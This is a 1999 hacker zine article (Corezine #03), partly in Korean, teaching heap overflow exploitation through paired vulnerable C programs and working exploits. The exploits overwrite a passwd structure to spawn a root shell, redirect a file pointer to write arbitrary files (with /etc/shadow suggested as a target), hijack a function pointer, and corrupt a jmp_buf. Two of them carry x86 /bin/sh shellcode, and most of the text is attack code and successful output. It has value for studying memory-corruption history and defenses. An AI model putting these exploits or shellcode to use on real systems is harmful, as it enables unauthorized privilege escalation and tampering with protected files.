		  _____                 _______            
       .~.	 /  __ \               |___  (_)           
       /V\	 | /  \/ ___  _ __ ___    / / _ _ __   ___ 
      // \\	 | |    / _ \| '__/ _ \  / / | | '_ \ / _ \
     /(	  )\	 | \__/\ (_) | | |  __/./ /__| | | | |  __/
      ^`~'^	  \____/\___/|_|  \___|\_____/_|_| |_|\___|
   
------[ Corezine volume 03 - October 1999                     
				
				Corezine #03
			     ==================

		 	Heap Overflows by example
		    +-=-+-=-+-=-+-=-+-=-+-=-+-=-+-=-+

				   By lamagra<access-granted@geocities.com>


----[ Introduction

먼저, 힙(heap)오버플로우가 스택기반의 버퍼오버플로우보다는 더 단순하기 
때문에 이것을 "예제를 사용하여" 설명하겠다. 그리고 비록 힙(heap)기반의 
버퍼오버플로우가 가끔은 어렵게 보일수 있지만, 텍스트 보다는 이해하기 
더 쉬운 예제로써 설명하겠다. 

메모리상에서 힙(heap)은 malloc(3), calloc(3)과 같은 함수를 통해서 동적
으로 할당되는 지역이다. 또한 전역변수나 정적(static) 버퍼도 이와 같은 
방법으로 exploit 할 수 있다. 힙(heap) 오버플로우의 개념을 보이기 위해
아래와 같은 간단한 프로그램을 작성해보았다.

<++> heap/example.c
/* A simple demonstration of a heap based overflow */
#include <stdio.h>

int main()
{
  long diff,size = 8;
  char *buf1;
  char *buf2;

  buf1 = (char *)malloc(size);
  buf2 = (char *)malloc(size);
  if(buf1 == NULL || buf2 == NULL)
  {
	perror("malloc");
	exit(-1);
  }

  diff =  (long)buf2 -  (long)buf1;
  printf("buf1 = %p & buf2 = %p & diff %d\n",buf1,buf2,diff);
  memset(buf2,'2',size);
  printf("BEFORE: buf2 = %s\n",buf2);
  memset(buf1,'1',diff+3);  /* We overwrite 3 chars */
  printf("AFTER:  buf2 = %s\n",buf2);

  return 0;
}
<-->

darkstar:~/heap# gcc example.c -o example
darkstar:~/heap# example
buf1 = 0x804a5f8 & buf2 = 0x804a608 & diff = 16
BEFORE: buf2 = 22222222
AFTER:  buf2 = 11122222
darkstar:~/heap# 

malloc()을 사용해 포인터(buf1과 buf2)를 만들었다. 그 결과는 위와 같다.

--------[ Overwriting data

<++> heap/hole1.c
/*
 *   This is a simple example with a heap overflow inside.
 *   All that it does is get the user's uid/gid and execute a shell.
 */
#include <stdio.h>
#include <pwd.h>

struct passwd *pwd;
char buf[32];

int main(int argc, char **argv)
{
 
 if((pwd = getpwuid(getuid())) == NULL)
 {
   perror("Who are you");
   exit(-1);
 }

 if(argc == 2) strcpy(buf,argv[1]);

 setregid(pwd->pw_gid,pwd->pw_gid);
 setregid(pwd->pw_gid,pwd->pw_uid);
 execl(pwd->pw_shell,pwd->pw_shell,NULL);
}
<-->

여러분이 보는 바와 같이 위의 프로그램은 오버플로우가 일어날 것이 뻔하다.
이것의 익스플로잇은 아주 쉽게 만들수 있다.

<++> heap/exploit1.c
/* This is the overwrite exploit example */
#include <stdio.h>
#include <fcntl.h>
#include <pwd.h>

#define BUFSIZE 32

int main(int argc,char **argv)
{
  int diff = 16; /* Estimated diff */
  struct passwd *pwd;
  char *buf;

  if(argc != 2)
  {
	printf("Usage: %s <program>\n",argv[0]); 
  }

  if((pwd = getpwuid(getuid())) == NULL)
  {
	printf("You're unknown, filling in arbitrary values\n");
	memset(pwd,NULL,sizeof(struct passwd));
	pwd->pw_shell="/bin/sh";
  }
  
  pwd->pw_uid = pwd->pw_gid = 0;

  buf = malloc(BUFSIZE + diff + sizeof(struct passwd));
  if(buf == NULL)
  {
	printf("Malloc error\n");
	exit(-1);
  }
 
  memset(buf,'A',BUFSIZE + diff);
  strcpy(buf+BUFSIZE+diff,pwd);

  execl(argv[1],argv[1],buf,NULL);  
  return -1;
}
<-->

darkstar:~/heap#  gcc hole1.c -ohole
darkstar:~/heap#  gcc exploit1.c -oexpl 
darkstar:~/heap$  expl hole 
darkstar:~/heap# 


--------[ Overwriting pointers


다음예제는 포인터를 덮어쓴다는 점에서 더 유용할 것이다.

<++> heap/example2.c 
/* Another simple demonstration of a heap based overflow . This time
   overwriting pointers.
*/
#include <stdio.h>

int main()
{
  long diff;
  static char buf1[16], *buf2;

  buf2 = buf1;
  diff =  (long)&buf2 -  (long)buf1;
  printf("buf1 = %p & buf2 = %p & diff %d\n",buf1,&buf2,diff);
  printf("BEFORE: buf2 = %p\n",buf2);
  /* An address is 4 long, so we overwrite 4 chars */
  memset(buf1,'A',diff+4);  
  printf("AFTER:  buf2 = %p\n",buf2);

  return 0;
}
<-->
darkstar:~/heap# gcc example2.c -o example2
darkstar:~/heap# example2
buf1 = 0x804a55c & buf2 = 0x804a56c & diff = 16
BEFORE: buf2 = 0x804a55c
AFTER:  buf2 = 0x41414141
darkstar:~/heap# 

이 프로그램을 실행할때, buf2 포인터가 다른 주소(0x41414141)을 가리키는 것을
보았다. 이것을 어떻게 악용할까? 다음에 이어지는 예제를 보자.

<++> heap/hole2.c
/* Our vunerable program, really easy to exploit.*/
#include <stdio.h>
#include <fcntl.h>

int main()
{
  static char buf[16], *tempor;
  int fd;

  tempor = tempnam(NULL,NULL);
  printf("BEFORE: tempor = %s\n",tempor);
  printf("Input data to write to file\n");
  
  gets(buf);
  printf("AFTER:  tempor = %s\n",tempor);

  fd = open(tempor,O_WRONLY|O_CREAT,0644);
  fchown(fd,getuid(),getgid()); /* Change ownership */
  write(fd,buf, strlen(buf));
  close(fd);

  return 0;
}
<-->

여기 익스플로잇이 있다:

<++> heap/exploit2.c
/* This is the overwrite exploit example */
#include <stdio.h>
#include <fcntl.h>

unsigned long get_esp()
{
  asm("movl %esp,%eax"); 
}

#define BUFSIZE 16

int main(int argc,char **argv)
{
  char *buf;
  long addr;

  if(argc != 3)
  {
	printf("Usage: %s <program> <offset>\n",argv[0]); 
  }

  buf = malloc(BUFSIZE + sizeof(long));
  if(buf == NULL)
  {
	printf("Malloc error\n");
	exit(-1);
  }
 
  memset(buf,'A',BUFSIZE);
  addr = get_esp() + atoi(argv[2]);
  printf("Using address 0x%x\n",addr);
  *(long *)&buf[BUFSIZE] = addr;

  execl(argv[1],argv[1],buf,"/tmp/secret",NULL);  
  return -1;
}
<-->

This is what happens:

darkstar:~/heap# gcc hole2.c -ovun
darkstar:~/heap# gcc exploit2.c -oexpl
darkstar:~/heap$ expl vun 280
Using address 0xbffffc0c
BEFORE: tempor = /tmp/00397aaa
AFTER:  tempor = /tmp/secret
darkstar:~/heap# ls -l /tmp/secret
-rw-r--r--   1 lamagra lamagra      22 Sep 27 19:58 /tmp/secret
darkstar:~/heap# 

헤헤, /etc/shadow로 위와 같이 할 수 있다고 생각해보자.
보다시피, 포인터(tempor)를 덮어씌워서 스택상의 argv[2]를 가리키도록 했다.
다음에 나오는 예를 통해서, 포인터가 함수를 가리키도록 하는 것을 살펴보자.

<++> heap/hole3.c
#include <fcntl.h>

int bla(char *text)
{
  puts(text);
}

int main(int argc, char **argv)
{
  static char buf[16];
  static int (*funct)(char *);

  if(argc < 3)
  {
	printf("Usage: %s <contents> <text>\n",argv[0]);
	exit(-1);
  }
  
  funct = (int (*)(char *))bla; 

  printf("BEFORE: funct = 0x%x\n",funct);
  
  strcpy(buf,argv[1]);

  printf("AFTER:  funct = 0x%x\n",funct);

  (int)(*funct)(argv[2]);   
  return 0;
}
<-->

이 익스플로잇은 여러 방법으로 시도할 수 있다 :	

	o libc 함수의 포인터를 바꾼다. (system())
	o 스택의 어떤부분을 가리키도록 바꾼다. (쉘코드가 있는 부분)
        o 힙(heap)의 어떤 부분을 가리키도록 바꾼다. (쉘코드가 있는 부분)

힙(heap)과 libc함수를 바꾸는 것이 이것을 익스플로잇 하기에 최선의 방법이다.
또한 실행불가능한 스택(non-exec stack), 스택가드(stackguard)를 우회할 수도 
있다. 그리고 offset을 쉽게 계산할 수 있다.

이 문서에는 heap 기반의 익스플로잇만 포함되어 있지만 남아있는 것들은 독자의
몫이다.

<++> heap/exploit3.c
/* This is the overwrite function pointer exploit example */
/* Uses heap */

#include <stdio.h>

#define BUFSIZE 200

/* Standard x86 linux shellcode */
char code[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc,char **argv)
{
  char *buf;
  long addr;
  void *handle;

  if(argc != 3)
  {
	printf("Usage: %s <program> <address>\n",argv[0]); 
	exit(-1);
  }

  addr = strtoul(argv[2],0,0);

  buf = malloc(BUFSIZE + sizeof(long));
  if(buf == NULL)
  {
	printf("Malloc error\n");
	exit(-1);
  }
  printf("buf 0x%x\n",buf);
 
  memset(buf,0x90,BUFSIZE); 	/* fill the buf so that it's filled to the top*/ 
  memcpy(buf,code,sizeof(code)-1);
  printf("Using address 0x%x\n",addr);
  *(long *)&buf[BUFSIZE] = addr;

  execl(argv[1],argv[1],buf,"blah",NULL); 
  return -1;
}
<-->

이 익스플로잇을 사용하기 위해서 우선 hole3에서 "buf"의 정확한 주소를 얻어야만
한다. 이 주소를 얻기 위해, 아래와 같이 간단한 프로그램들을 사용할 수 있다.

darkstar:~/heap# nm <program> | grep buf
0804a5f8 b buf.4
darkstar:~/heap# 

성공이다. 우리는 메모리상에서 정확한 오프셋(offset)을 얻었다. (이것이 힙기반
오버플로우의 또다른 장점이다.)

--------[ Overwriting jumpbuffers

Jumpbuffers는 에러가 발생할 경우 프로그램의 또다른 위치로 이동하기 위해서
사용된다. setjmp(3), longjmp(3) and sigsetjmp(3)와 같은 함수들을 확인해
보자. jmpbuf는 아래와 같이 이루어져 있다:

<snip> From i386/jmp_buf.h <snip>

typedef struct __jmp_buf_base
  {
    long int __bx, __si, __di;
    __ptr_t __bp;
    __ptr_t __sp;
    __ptr_t __pc;
  } __jmp_buf[1];

<end snip> From i386/jmp_buf.h <end snip>

(note: 다른 시스템들에서는 jmpbuf가 long형태의 배열로 이루어져 있다.)

setjmp(3)는 현재의 명령어와, 스택포인터 그리고 다른 레지스터를 저장한다.
longjmp(3)는 setjmp(3)에 의해 저장된 값들을 복구시킨다.

<++> heap/hole4.c
#include <fcntl.h>
#include <setjmp.h>

int main(int argc, char **argv)
{
  static char buf[200];
  static jmp_buf jmpbuf;

  if(argc < 2)
  {
	printf("Usage: %s <contents>\n",argv[0]);
	exit(-1);
  }
  
  if(setjmp(jmpbuf))
  {
	printf("Sploit failed\n");
	exit(-1);
  }

  printf("BEFORE:\n");
  printf("\tbx = 0x%x\n\tbp = 0x%x\n\tsp = 0x%x\n\tpc = 0x%x\n",
	jmpbuf->__bx,jmpbuf->__bp,jmpbuf->__sp,jmpbuf->__pc);

  strcpy(buf,argv[1]);

  printf("AFTER:\n");
  printf("\tbx = 0x%x\n\tbp = 0x%x\n\tsp = 0x%x\n\tpc = 0x%x\n",
	jmpbuf->__bx,jmpbuf->__bp,jmpbuf->__sp,jmpbuf->__pc);
  
  longjmp(jmpbuf,1);
  return 0;
}
<-->  

<++> heap/exploit4.c
/* This is the overwrite jmpbuf exploit example */
/* Uses heap */

#include <stdio.h>

#define BUFSIZE 200

/* Standard x86 linux shellcode */
char code[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc,char **argv)
{
  char *buf;
  long addr;
  void *handle;
  long stack = 0xbffffbc0;

  if(argc != 3)
  {
	printf("Usage: %s <program> <address>\n",argv[0]); 
	exit(-1);
  }

  addr = strtoul(argv[2],0,0);

  buf = malloc(BUFSIZE + sizeof(long));
  if(buf == NULL)
  {
	printf("Malloc error\n");
	exit(-1);
  }
 
  memset(buf,0x90,BUFSIZE + 4*4); 
  /* fill the buf so that it's filled to the top*/ 
  memcpy(buf,code,strlen(code));
  printf("Using address 0x%x\n",addr);
  *(long *)&buf[BUFSIZE + 4*4] = stack;  
  /* gotta overwrite the stack pointer with a good value else we get a
	segfault at the call in the shellcode 
  */
  *(long *)&buf[BUFSIZE + 4*5] = addr;

  execl(argv[1],argv[1],buf,"blah",NULL); 
  return -1;
}
<-->  

(note: 이 익스플로잇에서 스택(argv[])에 쉘코드을 놓았지만, 이것은 힙(heap)
        을 통해서도 가능하다.)

--------[ Overwriting io-structs

fopen(3), ldopen(3), popen(3),  fdopen(3) 과 같은 파일 관련 함수들은 data
공간에 할당된 구조체를 사용한다. 이것도 몇가지 방법으로 통해서 덮어 씌어
질 수 있다. struct의 내용이 아래에 나와 있다:
<snip> From libio.h <snip>

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;
  
  struct _IO_FILE *_chain;
  
  int _fileno;
  int _blksize;
  _IO_off_t _offset;
  
  unsigned short _cur_column;
  char _unused;
  char _shortbuf[1];
  
  /*  char* _save_gptr;  char* _save_egptr; */

  struct _IO_lock_t _IO_lock;
};

<end snip> From libio.h <end snip>

나머지 것들은 이 글을 읽는 독자들에게 남겨진 것이다.
흥미로운 것은 fileno를 stdin으로 바꾸어, 파일 대신에 standard input을
통해 읽을 수 있도록 하는 것이다.

---------[ Real life examples

Wu-ftpd는 디렉토리를 바꾸는 과정(chdir)에서 heap-overflow가 발생하는
취약점이 존재한다. 그 익스플로잇은 아주 개인적인 것이므로 이 문서에
는 포함시키지 않았다.

---------[ EOF